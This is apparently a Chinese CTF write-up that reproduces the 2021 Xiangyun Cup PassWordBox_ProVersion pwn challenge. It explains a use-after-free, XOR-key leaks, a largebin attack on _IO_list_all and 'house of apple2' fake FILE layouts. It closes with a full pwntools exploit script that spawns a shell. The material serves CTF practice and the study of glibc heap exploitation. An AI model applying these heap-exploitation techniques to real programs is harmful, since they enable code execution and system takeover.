复现一下2021祥云杯PassWordBox_ProVersion,顺便练习一下roderick大佬提出的house of apple2
https://bbs.pediy.com/thread-273832.htm#msg_header_h3_1
保护全开,没沙盒
add函数用只能申请largebin范围的,这里有一个xor加密
delete函数存在指针悬挂,配合recover函数可造成uaf
show函数有两个异或加密,show之前异或变回原来的,show之后再次异或加密
异或的key被赋为一个随机数
最后程序还有exit功能,可以用exit触发io流
基本上就是用largebin attack,攻击io流,先泄露出libc_base,heap_base,但由于异或加密,可以先输入一个已知字符串,去show得出key,就能泄露出两者了
接着largebinattack,劫持_IO_list_all为堆地址,写入fake_io
最后exit触发io,控制程序流
exit的调用
exit->_IO_cleanup->_IO_flush_all_lockp->_IO_OVERFLOW
最后的_IO_OVERFLOW我们改虚表偏移指向我们要利用的虚表函数即可
调用链为:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
源码:
这里放一个看源码网站
https://elixir.bootlin.com/glibc/glibc-2.31/source
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
fake_io要满足的要求
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有两个空格
vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
fake_IO_FILE实际可以如此布置:
fake_IO_FILE =b'\x00'
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')
get shell
调用链为:
_IO_wfile_underflow_mmap
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
源码:
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
//......
}
fake_io要满足的要求为:
> _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;,注意前面有个空格 vtable设置为_IO_wfile_jumps_mmap地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap即可
> _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10)
> _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
> _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8)
> _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
> _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0
> _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
> _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
然而我在实际执行时遇到一些小问题
源码中的这一段
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
如果fp->_IO_read_ptr >= fp->_IO_read_end,则会调用_IO_file_underflow_mmap
而里面会有一个对rax+0xe0地址赋值的操作,会被赋值为_IO_wfile_jumps的地址
会使我们上面要满足条件中的*(A + 0xe0) = &_IO_wfile_jumps
无法指向system
所以我们要设为fp->_IO_read_ptr 小于 fp->_IO_read_end
我这边fp->_IO_read_ptr= 0x441
我把fp->_IO_read_end设为了0x600
fake_IO_FILE实际如此布置:
fake_IO_FILE =b'\x00'
fake_IO_FILE =p64(0x600)
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00')
最后成功getshell
rom pwn import *
local_file = './pwdPro'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
elif select == 1:
r = remote('node4.buuoj.cn',25904 )
libc = ELF(remote_libc)
else:
r = gdb.debug(local_file)
libc = ELF(local_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#------------------------
def add(idx,ID,size,pwd):
sla('Input Your Choice:\n','1')
sla('Which PwdBox You Want Add:\n',str(idx))
sa('Input The ID You Want Save:',ID)
sla('Length Of Your Pwd:',str(size))
sla('Your Pwd:',pwd)
def edit(idx,pwd):
sla('Input Your Choice:\n','2')
sla('Which PwdBox You Want Edit:\n',str(idx))
se(pwd)
def show(idx):
sla('Input Your Choice:\n','3')
sla('Which PwdBox You Want Check:\n',str(idx))
def delete(idx):
sla('Input Your Choice:\n','4')
sla('Idx you want 2 Delete:\n',str(idx))
sla('Input Your Choice:\n','5')
sla('Idx you want 2 Recover:\n',str(idx))
def exit():
sla('Input Your Choice:\n','6')
#-------------leak_heap,leak_base------------------
add(0,'0',0x420,'aaaa')
add(1,'1',0x420,'aaaa')
add(2,'2',0x428,'aaaa')
add(3,'3',0x420,'aaaa')
delete(2)
add(4,'2',0x440,'aaaa')
delete(0)
edit(0,'a'*0x8)
show(0)
ru('Pwd is: ')
xor_key=uu64(rc(8))^0x6161616161616161
info('xor_key',xor_key)
show(2)
ru('Pwd is: ')
libc_addr=uu64(rc(8))^xor_key
libc_base=libc_addr-0x1ecfd0
rc(8)
info('libc_base',libc_base)
heap_addr=uu64(rc(8))^xor_key
heap_base=heap_addr-0xaf0
rc(8)
info('heap_base',heap_base)
#----------------clear_bins---------------
edit(0,p64(libc_base+0x1ecbe0))
add(0,'0',0x420,'\x00')
target=libc_base+libc.sym['_IO_list_all']
add(5,'5',0x420,'a')
#---------------largebin_attack_IO_list_all-------------
add(6,'6',0x440,'b')
add(7,'6',0x428,'b')
add(8,'6',0x438,'b')
add(9,'6',0x420,'b')
delete(6)
add(10,'10',0x450,'b')
delete(8)
edit(6,p64(0x1ecfe0+libc_base)*2+p64(heap_base+0x17a0)+p64(target-0x20))
add(11,'11',0x450,'trigger')
#------------------fake_io----------------
#debug()
#pause()
system=libc_base+libc.sym['system']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_wfile_jumps_mmap = libc_base + libc.sym['_IO_wfile_jumps']-0xc0
target_addr=heap_base+0x2020
#----------_IO_wfile_jumps->_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE------
fake_IO_FILE =b'\x00'
fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
edit(8,fake_IO_FILE)
edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00\x00')
#----------_IO_wfile_underflow_mmap->_IO_wdoallocbuf->_IO_WDOALLOCATE----------------
#fake_IO_FILE =b'\x00'
#fake_IO_FILE =p64(0x600)
#fake_IO_FILE =fake_IO_FILE.ljust(0x18, b'\x00')+p64(1)
#fake_IO_FILE =fake_IO_FILE.ljust(0x90, b'\x00') + p64(target_addr + 0xe0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps_mmap+8)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0, b'\x00') + p64(1)+p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x30, b'\x00') + p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0+0x40, b'\x00') + p64(0)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8)
#fake_IO_FILE =fake_IO_FILE.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(system)
#edit(8,fake_IO_FILE)
#edit(7,b'a'*0x420+b' sh\x00\x00\x00\x00')
#debug('b *_IO_file_underflow_mmap+444')
#pause()
exit()
r.interactive()